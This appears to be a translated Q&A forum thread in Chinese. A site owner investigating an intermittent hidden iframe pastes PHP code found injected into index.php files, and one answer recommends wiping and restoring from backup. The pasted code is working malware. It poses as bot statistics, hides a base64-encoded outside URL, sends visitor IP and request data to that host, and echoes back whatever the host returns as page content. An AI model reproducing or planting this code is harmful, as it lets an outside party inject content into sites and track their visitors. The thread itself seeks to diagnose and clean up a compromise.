我负责的一个网站似乎被入侵了。但我仍在努力找出问题的根源。
页面上会出现一个隐藏的 iframe,但是当您访问该网站时,它只出现大约 10% 的时间。我检查了实际存在问题的文件,其中没有添加这样的 iframe 代码,这让我认为服务器本身没有受到攻击,这只是某种 XSS 攻击?此外,该服务器还托管了其他各种网站,这些网站似乎没有受到影响。
从哪里开始查找并修复此问题是最好的选择?理想情况下,我希望清除服务器并重新启动,但目前我没有这个选项,因为我无法完全控制此特定服务器。
我做了进一步的挖掘,发现以下代码出现在各种 index.php 文件中。难道没有人能认出它吗?
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
答案1
第一件事是清除所有内容(或整个虚拟主机)并从已知良好的备份重新启动。说真的。受损的系统就是……受损。
但是,为了调查的方便,我建议您首先提供您的主机正在使用的 Web 服务器(apache?nginx?lighttpd?IIS?)和操作系统。
根据经验,我会说你使用了过时的框架(即:wordpress,django或任何PHP公告板)并且有人利用权限问题让一些远程代码执行对你的某个 .htaccess 的修改;但这真的是一个随机猜测,直到你开始提供更多信息。